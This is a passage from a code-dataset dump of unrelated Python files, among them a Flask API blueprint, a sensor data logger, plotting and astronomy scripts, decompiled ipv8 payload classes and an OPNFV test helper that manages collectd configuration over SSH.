strict_slashes = False)\n@login_required\ndef post_serie():\n serie_data = parse_serie(request.get_json())\n if len(serie_data) != 3:\n return param_err()\n serie = current_app.series.create_serie(serie_data)\n if not serie:\n return existing()\n return jsonify(serie)\n\n@series.route('/', methods=['PATCH'])\n@login_required\ndef patch_serie(serie_id):\n serie_data = parse_serie(request.get_json())\n serie = current_app.series.update_serie(serie_id, serie_data)\n if not serie:\n return not_found()\n return jsonify(serie)\n\n@series.route('/', methods=['DELETE'])\n@login_required\ndef delete_serie(serie_id):\n serie = current_app.series.delete_serie(serie_id)\n if not serie:\n return not_found()\n return jsonify({})\n\n\n@series.app_errorhandler(500)\ndef page_not_found(e):\n return get_error('Internal server error', 500)\n","sub_path":"blueprints/series.py","file_name":"series.py","file_ext":"py","file_size_in_byte":2494,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"46036724","text":"\nimport os\nimport sys\n\nWORKPATH=''\n\ndef reflect(_t_path):\n with open(_t_path,'rb') as _t_f:\n if sys.version_info[0]<3:\n _t_rawCode=_t_f.read()\n else:\n _t_rawCode=''.join((chr(c) for c in _t_f.read()))\n _t_namespace={}\n _t_code=compile(_t_rawCode+'''\n__=locals()\nfor item in dir():\n if item.startswith('__') or item.startswith('_t_'):\n continue\n _t_namespace[item]=__[item]\n''',ReflectTmpFilepath,'exec')\n eval(_t_code)\n g=globals()\n for key,val in _t_namespace.items():\n if not key in g:\n g[key]=val\n return _t_namespace\ndef setworkpath(path):\n global WORKPATH\n WORKPATH=path\n\nReflectTmpFilepath=os.path.join(os.path.dirname(os.path.realpath(__file__)),'Reflect.tmp')\nif not os.path.exists(ReflectTmpFilepath):\n with open(ReflectTmpFilepath,'wb') as f:\n pass\n","sub_path":"ServerPython/WebSocket/lib/Reflect.py","file_name":"Reflect.py","file_ext":"py","file_size_in_byte":895,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"183116789","text":"'''\nData Logger\n\n - Components:\n -- Measure\n - Measure each configured sensor\n - Complete measurements at sample frequency\n -- Store\n - Process the measurements: max, min, avg\n - Store data in database at storage frequency\n\n - General Algorithm\n 1. Initialization\n - Read any configuration files\n - Initialize sensor objects for measurement\n 2. Measure\n - Check clock for measure time\n - Measure sensors\n - Store values in working memory\n 3. Store\n - Check clock for storage time\n - Process measurements\n - Store in database \n'''\n\nimport schedule\nimport time #For sleeping during execution\nimport sensor\nimport csv\n\n#-------- Logger Initialization and Setup ------\nclass DataLogger:\n '''\n A data logger\n '''\n def __init__(self,logname):\n '''\n Initialize a new data logger\n Input - logname. Used with output data file\n '''\n self.name = logname\n \n self.sensors = {}\n self.measurements = [] #Form (,)\n self.logschedule = schedule.Scheduler()\n\n #Create output file\n self.csvfile = open(logname+'.csv','w',newline='')\n self.csvwrite = csv.DictWriter(self.csvfile,['dt','measurement','value','sensor'])\n self.csvwrite.writeheader()\n\n def addSensor(self,name,sn):\n '''\n Add a sensor to the logger\n '''\n self.sensors[name] = sensor.Sensor(name,sn)\n\n def addMeasurement(self,name,mtype,sensor,settings):\n '''\n Add a measurement to a sensor\n '''\n self.sensors[sensor].add_measurement(name,mtype,settings)\n\n def scheduleMeasurement(self,name,sensor,frequency):\n '''\n Schedule a measurement\n Frequency is seconds\n '''\n m = self.sensors[sensor].measure\n self.logschedule.every(frequency).do(m,name)\n \n def scheduleStorage(self,name,sensor,frequency):\n '''\n Schedule when storage takes place\n '''\n s = self.storeMeasurement\n self.logschedule.every(frequency).do(s,name,sensor,'sample')\n\n def storeMeasurement(self,name,sensor,process):\n '''\n Store measurement data according to process.\n - process is fixed at 'sample' for now.\n Deletes any unstored data.\n '''\n if not self.sensors[sensor].data[name]:\n #No data stored\n return\n\n if process=='sample':\n currentdata = self.sensors[sensor].data[name][-1]\n dt = currentdata[0].strftime('%Y-%m-%d %H:%M:%S:%f')\n val = currentdata[1]\n datadict = {\n 'dt':dt,\n 'measurement':name,\n 'value':val,\n 'sensor':sensor}\n\n #Output row to CSV\n self.csvwrite.writerow(datadict)\n \n\n#-------- Logger initialization --------\ndatalogger = DataLogger('myLogger')\n\n#Define measurement settings\n\nwSpdsettings = {\n 'port':'/dev/ttyMAX0',\n 'address':1,\n 'register':201, ### note this is listed as address in manual\n 'regtype':'integer',\n 'timeout':0.1\n}\n\nwDirsettings = {\n 'port':'/dev/ttyMAX0',\n 'address':1,\n 'register':202,\n 'regtype':'integer',\n 'timeout':0.1\n}\n\n\n\ndatalogger.addSensor('wsd1',1121)\n\ndatalogger.addMeasurement('WindSpeed','modbus','wsd1',wSpdsettings)\ndatalogger.scheduleMeasurement('WindSpeed','wsd1',1)\ndatalogger.scheduleStorage('WindSpeed','wsd1',1)\n\ndatalogger.addMeasurement('WindDir','modbus','wsd1',wDirsettings)\ndatalogger.scheduleMeasurement('WindDir','wsd1',1)\ndatalogger.scheduleStorage('WindDir','wsd1',1)\n\n\n#-------- Run data logger -----------\nwhile True:\n try:\n datalogger.logschedule.run_pending()\n sleeptime = datalogger.logschedule.idle_seconds\n if sleeptime > 0:\n time.sleep(sleeptime)\n\n except KeyboardInterrupt:\n break\n\n#Shut down logger\ndatalogger.csvfile.close()\n\n\n\n\n\n","sub_path":"loggerWSD1.py","file_name":"loggerWSD1.py","file_ext":"py","file_size_in_byte":4026,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"213202309","text":"#!/usr/bin/env python\n\nimport numpy as np\nimport sys\nimport matplotlib.pyplot as plt\n\ndef readdata(filename):\n \"\"\"\n Reads the GABLS data from a text file\n \"\"\"\n alldata=[]\n with open(filename) as fp:\n comments=fp.readline() # Read the comment line\n N=int(fp.readline()) # Read the N size\n line=fp.readline()\n while line:\n alldata.extend([float(x) for x in line.split()])\n line=fp.readline()\n # Reshape the array\n newdat=np.reshape(np.array(alldata), (-1,N)).transpose()\n #print(np.shape(newdat))\n return newdat\n\ndef plotvel(filename, **kwargs):\n \"\"\"\n Plots the horizonal velocity from data given in filename\n \"\"\"\n data=readdata(filename)\n plt.plot(np.sqrt(data[:,1]**2 + data[:,2]**2), data[:,0], **kwargs)\n\n\ndef plotcols(filename, xcol=1, ycol=0, **kwargs):\n \"\"\"\n Plots some columns from the GABLS file\n \"\"\"\n data=readdata(filename)\n plt.plot(data[:,xcol], data[:,ycol], **kwargs)\n \n","sub_path":"utilities/gabls.py","file_name":"gabls.py","file_ext":"py","file_size_in_byte":997,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"194423535","text":"\"\"\"\nVinícius Vilar - ADS UNIFIP - Programação 1 - Lista 2 Estrutura de Decisão\nPatos - PB | 2020\n\n5. Faça um programa que calcule o valor a ser pago por uma dívida em \natraso. O usuário deve informar o valor original da dívida \n(ex. R$ 50,00), a quantidade de dias em atraso (ex. 35 dias) e o \nvalor da multa por dia de atraso (ex. R$ 0,25).\n\n\"\"\"\n\nvalDivida = float(input(\"Informe o valor da dívida: R$\"))\ndiaAtraso = int(input(\"Quantos dias em atraso: \"))\nvalDia = float(input(\"Qual o valor por dia de atraso: R$\"))\n\nvalMulta = diaAtraso * valDia\nvalPagar = valDivida + valMulta\n\nprint(\"O valor da multa é de R${:.2f}.\".format(valMulta))\nprint(\"Será necessário pagar esse valor, mais o valor da dívida. Totalizando R${:.2f}\".format(valPagar))\n","sub_path":"Lista 2 - FIP/Ex05.py","file_name":"Ex05.py","file_ext":"py","file_size_in_byte":757,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"596812661","text":"# Package for getting the current location of the sun\n# Requires PyEphem (ephem) and datetime (datetime) libraries\n# Author: Tim Krentz\n# June 22, 2015\n\nimport ephem\nimport datetime\n\n\n####################################################################################################\n\n# Method definition: GPS coord. defaults to lot outside PRL high bay\ndef getBearing(latitude=40.442947, longitude=-79.945108, elevation=269):\n\t\"\"\"getBearing returns a 2-element vector of (1) angle from North and (2) elevation from horizon\"\"\"\n\n\t# Create 'Observer' object in PyEphem\n\tcurr = ephem.Observer()\n\n\t# Assign observer's longitude, latitude, and elevation\n\tcurr.lat = latitude\n\tcurr.lon = longitude\n\tcurr.elevation = elevation\n\n\t# Get datetime object in UTC time from datetime library, assign to observer object\n\tcurr.date = datetime.datetime.utcnow()\n\n\t# Get angles from observer to the Sun\n\tb = ephem.Sun(curr)\n\n\t# Return the azimuth from North and the altitude above horizon to the Sun\n\treturn [b.az, b.alt]\n\n\n####################################################################################################\n\n\n# Testbench code: runs if bearing.py is top-level\nif __name__ == \"__main__\":\n\t\n\t# Get the current angles to sun from asphalt outside PRL highbay, and print them out\n\ttemp = getBearing()\n\tprint('The Sun is currently %s degrees from North and %s degrees above the horizon.' % (temp[0],temp[1]))\n","sub_path":"Ephemeris/bearing.py","file_name":"bearing.py","file_ext":"py","file_size_in_byte":1403,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"183035767","text":"# uncompyle6 version 3.6.7\n# Python bytecode 2.7 (62211)\n# Decompiled from: Python 3.8.2 (tags/v3.8.2:7b3ab59, Feb 25 2020, 23:03:10) [MSC v.1916 64 bit (AMD64)]\n# Embedded file name: /Users/martijndevos/Documents/anydex-core/pyipv8/ipv8/peerdiscovery/payload.py\n# Compiled at: 2019-05-16 09:27:10\nfrom __future__ import absolute_import\nfrom socket import inet_ntoa, inet_aton\nfrom struct import pack, unpack\nfrom ..messaging.payload import decode_connection_type, encode_connection_type, IntroductionRequestPayload, Payload\n\nclass SimilarityRequestPayload(Payload):\n format_list = [\n 'H', '4SH', '4SH', 'bits', 'raw']\n\n def __init__(self, identifier, lan_address, wan_address, connection_type, preference_list):\n super(SimilarityRequestPayload, self).__init__()\n self.identifier = identifier % 65536\n self.preference_list = preference_list\n self.lan_address = lan_address\n self.wan_address = wan_address\n self.connection_type = connection_type\n\n def to_pack_list(self):\n encoded_connection_type = encode_connection_type(self.connection_type)\n data = [('H', self.identifier),\n (\n '4SH', inet_aton(self.lan_address[0]), self.lan_address[1]),\n (\n '4SH', inet_aton(self.wan_address[0]), self.wan_address[1]),\n (\n 'bits', encoded_connection_type[0], encoded_connection_type[1], 0, 0, 0, 0, 0, 0),\n (\n 'raw', ('').join(self.preference_list))]\n return data\n\n @classmethod\n def from_unpack_list(cls, identifier, lan_address, wan_address, connection_type_0, connection_type_1, dflag0, dflag1, dflag2, dflag3, dflag4, dflag5, preference_list):\n args = [\n identifier,\n (\n inet_ntoa(lan_address[0]), lan_address[1]),\n (\n inet_ntoa(wan_address[0]), wan_address[1]),\n decode_connection_type(connection_type_0, connection_type_1), [ preference_list[i:i + 20] for i in range(0, len(preference_list), 20) ]]\n return SimilarityRequestPayload(*args)\n\n\nclass SimilarityResponsePayload(Payload):\n format_list = [\n 'H', 'varlenHx20', 'raw']\n\n def __init__(self, identifier, preference_list, tb_overlap):\n super(SimilarityResponsePayload, self).__init__()\n self.identifier = identifier % 65536\n self.preference_list = preference_list\n self.tb_overlap = tb_overlap\n\n def to_pack_list(self):\n encoded_tb_overlap = [ pack('>20sI', *tb) for tb in self.tb_overlap ]\n data = [\n (\n 'H', self.identifier),\n (\n 'varlenHx20', ('').join(self.preference_list)),\n (\n 'raw', ('').join(encoded_tb_overlap))]\n return data\n\n @classmethod\n def from_unpack_list(cls, identifier, preference_list, tb_overlap):\n args = [identifier, [ preference_list[i:i + 20] for i in range(0, len(preference_list), 20) ],\n [ (tb_overlap[i:i + 20], unpack('>I', tb_overlap[i + 20:i + 24])[0]) for i in range(0, len(tb_overlap), 24)\n ]]\n return SimilarityResponsePayload(*args)\n\n\nclass PingPayload(Payload):\n format_list = [\n 'H']\n\n def __init__(self, identifier):\n super(PingPayload, self).__init__()\n self.identifier = identifier % 65536\n\n def to_pack_list(self):\n data = [\n (\n 'H', self.identifier)]\n return data\n\n @classmethod\n def from_unpack_list(cls, identifier):\n return PingPayload(identifier)\n\n\nclass PongPayload(PingPayload):\n pass\n\n\nclass DiscoveryIntroductionRequestPayload(IntroductionRequestPayload):\n format_list = [\n 'c20s', '4SH', '4SH', '4SH', 'bits', 'H', 'raw']\n\n def __init__(self, introduce_to, destination_address, source_lan_address, source_wan_address, advice, connection_type, identifier, extra_bytes):\n super(DiscoveryIntroductionRequestPayload, self).__init__(destination_address, source_lan_address, source_wan_address, advice, connection_type, identifier, extra_bytes)\n self.introduce_to = introduce_to\n\n def to_pack_list(self):\n data = super(DiscoveryIntroductionRequestPayload, self).to_pack_list()\n data.insert(0, ('c20s', 'Y', self.introduce_to))\n return data\n\n @classmethod\n def from_unpack_list(cls, introduce_to, destination_address, source_lan_address, source_wan_address, connection_type_0, connection_type_1, dflag0, dflag1, dflag2, tunnel, _, advice, identifier, extra_bytes):\n args = [\n introduce_to[1:],\n (\n inet_ntoa(destination_address[0]), destination_address[1]),\n (\n inet_ntoa(source_lan_address[0]), source_lan_address[1]),\n (\n inet_ntoa(source_wan_address[0]), source_wan_address[1]),\n [\n True, False][advice],\n decode_connection_type(connection_type_0, connection_type_1),\n identifier,\n extra_bytes]\n return DiscoveryIntroductionRequestPayload(*args)","sub_path":"pycfiles/anyencoder-0.0.3.tar/payload.py","file_name":"payload.py","file_ext":"py","file_size_in_byte":4947,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"485237933","text":"\"\"\"Classes used by client.py\"\"\"\n# -*- coding: utf-8 -*-\n\n#Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n# not use this file except in compliance with the License. You may obtain\n# a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n# License for the specific language governing permissions and limitations\n# under the License.\n\nimport paramiko\nimport time\nimport string\nimport os.path\n\nID_RSA_PATH = '/home/opnfv/.ssh/id_rsa'\nSSH_KEYS_SCRIPT = '/home/opnfv/barometer/baro_utils/get_ssh_keys.sh'\nDEF_PLUGIN_INTERVAL = 10\nCOLLECTD_CONF = '/etc/collectd/collectd.conf'\nCOLLECTD_CONF_DIR = '/etc/collectd/collectd.conf.d'\n\n\nclass Node(object):\n \"\"\"Node configuration class\"\"\"\n def __init__(self, attrs):\n self.__id = int(attrs[0])\n self.__status = attrs[1]\n self.__name = attrs[2]\n self.__cluster = int(attrs[3]) if attrs[3] else None\n self.__ip = attrs[4]\n self.__mac = attrs[5]\n self.__roles = [x.strip(' ') for x in attrs[6].split(',')]\n self.__pending_roles = attrs[7]\n self.__online = int(attrs[8]) if attrs[3] and attrs[8]else None\n self.__group_id = int(attrs[9]) if attrs[3] else None\n\n def get_name(self):\n \"\"\"Get node name\"\"\"\n return self.__name\n\n def get_id(self):\n \"\"\"Get node ID\"\"\"\n return self.__id\n\n def get_ip(self):\n \"\"\"Get node IP address\"\"\"\n return self.__ip\n\n def get_roles(self):\n \"\"\"Get node roles\"\"\"\n return self.__roles\n\n\nclass ConfigServer(object):\n \"\"\"Class to get env configuration\"\"\"\n def __init__(self, host, user, logger, passwd=None):\n self.__host = host\n self.__user = user\n self.__passwd = passwd\n self.__priv_key = None\n self.__nodes = list()\n self.__logger = logger\n\n self.__private_key_file = ID_RSA_PATH\n if not os.path.isfile(self.__private_key_file):\n self.__logger.error(\n \"Private key file '{}' not found.\".format(self.__private_key_file))\n raise IOError(\"Private key file '{}' not found.\".format(self.__private_key_file))\n\n # get list of available nodes\n ssh, sftp = self.__open_sftp_session(self.__host, self.__user, self.__passwd)\n attempt = 1\n fuel_node_passed = False\n\n while (attempt <= 10) and not fuel_node_passed:\n stdin, stdout, stderr = ssh.exec_command(\"fuel node\")\n stderr_lines = stderr.readlines()\n if stderr_lines:\n self.__logger.warning(\"'fuel node' command failed (try {}):\".format(attempt))\n for line in stderr_lines:\n self.__logger.debug(line.strip())\n else:\n fuel_node_passed = True\n if attempt > 1:\n self.__logger.info(\"'fuel node' command passed (try {})\".format(attempt))\n attempt += 1\n if not fuel_node_passed:\n self.__logger.error(\"'fuel node' command failed. This was the last try.\")\n raise OSError(\"'fuel node' command failed. This was the last try.\")\n node_table = stdout.readlines()\\\n\n # skip table title and parse table values\n for entry in node_table[2:]:\n self.__nodes.append(Node([str(x.strip(' \\n')) for x in entry.split('|')]))\n\n def get_controllers(self):\n \"\"\"Get list of controllers\"\"\"\n return [node for node in self.__nodes if 'controller' in node.get_roles()]\n\n def get_computes(self):\n \"\"\"Get list of computes\"\"\"\n return [node for node in self.__nodes if 'compute' in node.get_roles()]\n\n def get_nodes(self):\n \"\"\"Get list of nodes\"\"\"\n return self.__nodes\n\n def __open_sftp_session(self, host, user, passwd=None):\n \"\"\"Connect to given host.\n\n Keyword arguments:\n host -- host to connect\n user -- user to use\n passwd -- password to use\n\n Return tuple of SSH and SFTP client instances.\n \"\"\"\n # create SSH client\n ssh = paramiko.SSHClient()\n ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())\n\n # try a direct access using password or private key\n if not passwd and not self.__priv_key:\n # get private key\n self.__priv_key = paramiko.RSAKey.from_private_key_file(self.__private_key_file)\n\n # connect to the server\n ssh.connect(host, username=user, password=passwd, pkey=self.__priv_key)\n sftp = ssh.open_sftp()\n\n # return SFTP client instance\n return ssh, sftp\n\n def get_plugin_interval(self, compute, plugin):\n \"\"\"Find the plugin interval in collectd configuration.\n\n Keyword arguments:\n compute -- compute node instance\n plugin -- plug-in name\n\n If found, return interval value, otherwise the default value\"\"\"\n ssh, sftp = self.__open_sftp_session(compute.get_ip(), 'root')\n in_plugin = False\n plugin_name = ''\n default_interval = DEF_PLUGIN_INTERVAL\n config_files = [COLLECTD_CONF] \\\n + [COLLECTD_CONF_DIR + '/' + conf_file for conf_file in sftp.listdir(COLLECTD_CONF_DIR)]\n for config_file in config_files:\n try:\n with sftp.open(config_file) as config:\n for line in config.readlines():\n words = line.split()\n if len(words) > 1 and words[0] == '')\n if words and words[0] == '':\n in_plugin = False\n if words and words[0] == 'Interval':\n if in_plugin and plugin_name == plugin:\n return int(words[1])\n if not in_plugin:\n default_interval = int(words[1])\n except IOError:\n self.__logger.error(\"Could not open collectd.conf file.\")\n return default_interval\n\n def get_plugin_config_values(self, compute, plugin, parameter):\n \"\"\"Get parameter values from collectd config file.\n\n Keyword arguments:\n compute -- compute node instance\n plugin -- plug-in name\n parameter -- plug-in parameter\n\n Return list of found values.\"\"\"\n ssh, sftp = self.__open_sftp_session(compute.get_ip(), 'root')\n # find the plugin value\n in_plugin = False\n plugin_name = ''\n default_values = []\n config_files = [COLLECTD_CONF] \\\n + [COLLECTD_CONF_DIR + '/' + conf_file for conf_file in sftp.listdir(COLLECTD_CONF_DIR)]\n for config_file in config_files:\n try:\n with sftp.open(config_file) as config:\n for line in config.readlines():\n words = line.split()\n if len(words) > 1 and words[0] == '')\n if len(words) > 0 and words[0] == '':\n in_plugin = False\n if len(words) > 0 and words[0] == parameter:\n if in_plugin and plugin_name == plugin:\n return [word.strip('\"') for word in words[1:]]\n except IOError:\n self.__logger.error(\"Could not open collectd.conf file.\")\n return default_values\n\n def execute_command(self, command, host_ip=None, ssh=None):\n \"\"\"Execute command on node and return list of lines of standard output.\n\n Keyword arguments:\n command -- command\n host_ip -- IP of the node\n ssh -- existing open SSH session to use\n\n One of host_ip or ssh must not be None. If both are not None, existing ssh session is used.\n \"\"\"\n if host_ip is None and ssh is None:\n raise ValueError('One of host_ip or ssh must not be None.')\n if ssh is None:\n ssh, sftp = self.__open_sftp_session(host_ip, 'root')\n stdin, stdout, stderr = ssh.exec_command(command)\n return stdout.readlines()\n\n def get_ovs_interfaces(self, compute):\n \"\"\"Get list of configured OVS interfaces\n\n Keyword arguments:\n compute -- compute node instance\n \"\"\"\n stdout = self.execute_command(\"ovs-vsctl list-br\", compute.get_ip())\n return [interface.strip() for interface in stdout]\n\n def is_ceilometer_running(self, controller):\n \"\"\"Check whether Ceilometer is running on controller.\n\n Keyword arguments:\n controller -- controller node instance\n\n Return boolean value whether Ceilometer is running.\n \"\"\"\n lines = self.execute_command('service --status-all | grep ceilometer', controller.get_ip())\n agent = False\n collector = False\n for line in lines:\n if '[ + ] ceilometer-agent-notification' in line:\n agent = True\n if '[ + ] ceilometer-collector' in line:\n collector = True\n return agent and collector\n\n def is_installed(self, compute, package):\n \"\"\"Check whether package exists on compute node.\n\n Keyword arguments:\n compute -- compute node instance\n package -- Linux package to search for\n\n Return boolean value whether package is installed.\n \"\"\"\n stdout = self.execute_command('dpkg -l | grep {}'.format(package), compute.get_ip())\n return len(stdout) > 0\n\n def check_ceil_plugin_included(self, compute):\n \"\"\"Check if ceilometer plugin is included in collectd.conf file If not,\n try to enable it.\n\n Keyword arguments:\n compute -- compute node instance\n\n Return boolean value whether ceilometer plugin is included or it's enabling was successful.\n \"\"\"\n ssh, sftp = self.__open_sftp_session(compute.get_ip(), 'root')\n try:\n config = sftp.open(COLLECTD_CONF, mode='r')\n except IOError:\n self.__logger.error(\n 'Cannot open {} on node {}'.format(COLLECTD_CONF, compute.get_id()))\n return False\n in_lines = config.readlines()\n out_lines = in_lines[:]\n include_section_indexes = [\n (start, end) for start in range(len(in_lines)) for end in range(len(in_lines))\n if (start < end)\n and '' in in_lines[end]\n and '#' not in in_lines[end]\n and len([i for i in in_lines[start + 1: end]\n if 'Filter' in i and '*.conf' in i and '#' not in i]) > 0]\n if len(include_section_indexes) == 0:\n out_lines.append('\\n'.format(COLLECTD_CONF_DIR))\n out_lines.append(' Filter \"*.conf\"\\n')\n out_lines.append('\\n')\n config.close()\n config = sftp.open(COLLECTD_CONF, mode='w')\n config.writelines(out_lines)\n config.close()\n self.__logger.info('Creating backup of collectd.conf...')\n config = sftp.open(COLLECTD_CONF + '.backup', mode='w')\n config.writelines(in_lines)\n config.close()\n return True\n\n def enable_plugins(self, compute, plugins, error_plugins, create_backup=True):\n \"\"\"Enable plugins on compute node\n\n Keyword arguments:\n compute -- compute node instance\n plugins -- list of plugins to be enabled\n error_plugins -- list of tuples with found errors, new entries may be added there\n (plugin, error_description, is_critical):\n plugin -- plug-in name\n error_decription -- description of the error\n is_critical -- boolean value indicating whether error is critical\n create_backup -- boolean value indicating whether backup shall be created\n\n Return boolean value indicating whether function was successful.\n \"\"\"\n plugins = sorted(plugins)\n ssh, sftp = self.__open_sftp_session(compute.get_ip(), 'root')\n plugins_to_enable = plugins[:]\n for plugin in plugins:\n plugin_file = '/usr/lib/collectd/{}.so'.format(plugin)\n try:\n sftp.stat(plugin_file)\n except IOError:\n self.__logger.debug(\n 'Plugin file {0} not found on node {1}, plugin {2} will not be enabled'.format(\n plugin_file, compute.get_id(), plugin))\n error_plugins.append((plugin, 'plugin file {} not found'.format(plugin_file), True))\n plugins_to_enable.remove(plugin)\n self.__logger.debug('Following plugins will be enabled on node {}: {}'.format(\n compute.get_id(), ', '.join(plugins_to_enable)))\n try:\n config = sftp.open(COLLECTD_CONF, mode='r')\n except IOError:\n self.__logger.warning(\n 'Cannot open {} on node {}'.format(COLLECTD_CONF, compute.get_id()))\n return False\n in_lines = config.readlines()\n out_lines = []\n enabled_plugins = []\n enabled_sections = []\n in_section = 0\n comment_section = False\n uncomment_section = False\n for line in in_lines:\n if 'LoadPlugin' in line:\n for plugin in plugins_to_enable:\n if plugin in line:\n commented = '#' in line\n #list of uncommented lines which contain LoadPlugin for this plugin\n loadlines = [\n ll for ll in in_lines if 'LoadPlugin' in ll\n and plugin in ll and '#' not in ll]\n if len(loadlines) == 0:\n if plugin not in enabled_plugins:\n line = line.lstrip(string.whitespace + '#')\n enabled_plugins.append(plugin)\n error_plugins.append((\n plugin, 'plugin not enabled in '\n + '{}, trying to enable it'.format(COLLECTD_CONF), False))\n elif not commented:\n if plugin not in enabled_plugins:\n enabled_plugins.append(plugin)\n else:\n line = '#' + line\n error_plugins.append((\n plugin, 'plugin enabled more than once '\n + '(additional occurrence of LoadPlugin found in '\n + '{}), trying to comment it out.'.format(\n COLLECTD_CONF), False))\n elif line.lstrip(string.whitespace + '#').find(' 0:\n if comment_section and '#' not in line:\n line = '#' + line\n if uncomment_section and '#' in line:\n line = line[line.rfind('#') + 1:]\n if '' in line:\n in_section -= 1\n if in_section == 0:\n comment_section = False\n uncomment_section = False\n elif '' in line:\n self.__logger.error(\n 'Unexpected closure os plugin section on line'\n + ' {} in collectd.conf, matching section start not found.'.format(\n len(out_lines) + 1))\n return False\n out_lines.append(line)\n if in_section > 0:\n self.__logger.error(\n 'Unexpected end of file collectd.conf, '\n + 'closure of last plugin section not found.')\n return False\n out_lines = [\n 'LoadPlugin {}\\n'.format(plugin) for plugin in plugins_to_enable\n if plugin not in enabled_plugins] + out_lines\n for plugin in plugins_to_enable:\n if plugin not in enabled_plugins:\n error_plugins.append((\n plugin,\n 'plugin not enabled in {}, trying to enable it.'.format(COLLECTD_CONF),\n False))\n unenabled_sections = [\n plugin for plugin in plugins_to_enable if plugin not in enabled_sections]\n if unenabled_sections:\n self.__logger.error('Plugin sections for following plugins not found: {}'.format(\n ', '.join(unenabled_sections)))\n return False\n\n config.close()\n if create_backup:\n self.__logger.info('Creating backup of collectd.conf...')\n config = sftp.open(COLLECTD_CONF + '.backup', mode='w')\n config.writelines(in_lines)\n config.close()\n self.__logger.info('Updating collectd.conf...')\n config = sftp.open(COLLECTD_CONF, mode='w')\n config.writelines(out_lines)\n config.close()\n diff_command = \"diff {} {}.backup\".format(COLLECTD_CONF, COLLECTD_CONF)\n stdin, stdout, stderr = ssh.exec_command(diff_command)\n self.__logger.debug(diff_command)\n for line in stdout.readlines():\n self.__logger.debug(line.strip())\n return True\n\n def restore_config(self, compute):\n \"\"\"Restore collectd config file from backup on compute node.\n\n Keyword arguments:\n compute -- compute node instance\n \"\"\"\n ssh, sftp = self.__open_sftp_session(compute.get_ip(), 'root')\n\n self.__logger.info('Restoring config file from backup...')\n ssh.exec_command(\"cp {0} {0}.used\".format(COLLECTD_CONF))\n ssh.exec_command(\"cp {0}.backup {0}\".format(COLLECTD_CONF))\n\n def restart_collectd(self, compute):\n \"\"\"Restart collectd on compute node.\n\n Keyword arguments:\n compute -- compute node instance\n\n Retrun tuple with boolean indicating success and list of warnings received\n during collectd start.\n \"\"\"\n\n def get_collectd_processes(ssh_session):\n \"\"\"Get number of running collectd processes.\n\n Keyword arguments:\n ssh_session -- instance of SSH session in which to check for processes\n \"\"\"\n stdin, stdout, stderr = ssh_session.exec_command(\"pgrep collectd\")\n return len(stdout.readlines())\n\n ssh, sftp = self.__open_sftp_session(compute.get_ip(), 'root')\n\n self.__logger.info('Stopping collectd service...')\n stdout = self.execute_command(\"service collectd stop\", ssh=ssh)\n time.sleep(10)\n if get_collectd_processes(ssh):\n self.__logger.error('Collectd is still running...')\n return False, []\n self.__logger.info('Starting collectd service...')\n stdout = self.execute_command(\"service collectd start\", ssh=ssh)\n time.sleep(10)\n warning = [output.strip() for output in stdout if 'WARN: ' in output]\n if get_collectd_processes(ssh) == 0:\n self.__logger.error('Collectd is still not running...')\n return False, warning\n return True, warning\n","sub_path":"baro_tests/config_server.py","file_name":"config_server.py","file_ext":"py","file_size_in_byte":21313,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"255165897","text":"from django.urls import path\nfrom . import views\n\n# app_name = 'crit_app' # for namespacing\nurlpatterns = [\n path('party/', views.PartyList.as_view()),\n path('party//', views.PartyDetail.as_view()),\n path('members/', views.MemberList.as_view()),\n path('member//', views.MemberDetail.as_view()),\n]","sub_path":"crit_app/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":324,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"27520895","text":"#!/usr/bin/env python\n\nimport sys\nimport os\nimport numpy as np\nimport tensorflow as tf\nimport mnist\n\nckpt_dir = os.path.abspath(os.path.join(os.path.dirname(__file__), 'models'))\n\ndef error(m):\n return {\n 'error': m\n }\n\ndef evalute(payload=None):\n if payload == None:\n return error('Payload was not found.')\n\n image = payload.get('data', None)\n step = payload.get('step', 1000)\n\n if image == None:\n return error(\"The 'data' parameter is require.\")\n\n with tf.Graph().as_default():\n x = tf.placeholder(tf.float32, shape=[None, 784])\n keep_prob = tf.placeholder(tf.float32)\n inference = mnist.inference(x, keep_prob)\n saver = tf.train.Saver()\n session = tf.Session()\n session.run(tf.global_variables_initializer())\n ckpt = os.path.join(ckpt_dir, 'ckpt-%d' % step)\n if os.path.isfile(ckpt):\n saver.restore(session, ckpt)\n else:\n return error('Checkpoint file for %d step is not found.' % step)\n results = session.run(inference, feed_dict={x:[image], keep_prob: 1.0})[0]\n result = np.argmax(results)\n return {\n 'inference': result,\n 'results': results.tolist()\n }\n\n","sub_path":"evalute.py","file_name":"evalute.py","file_ext":"py","file_size_in_byte":1135,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"561010554","text":"t = int(input())\nwhile t>0:\n\tt-=1\n\tdividend, divisor = input().split()\n\ttry:\n\t\tq = int(dividend)//int(divisor)\n\t\tprint(q)\n\texcept ZeroDivisionError:\n\t\tprint(\"Error Code: integer division or modulo by zero\")\n\texcept ValueError:\n\t\tprint(\"Error Code: invalid literal for int() with base 10: {}\".format(divisor))\n\n","sub_path":"Hacker Rank/Python/Exception.py","file_name":"Exception.py","file_ext":"py","file_size_in_byte":310,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"612145255","text":"import cv2 as cv\nimport numpy as 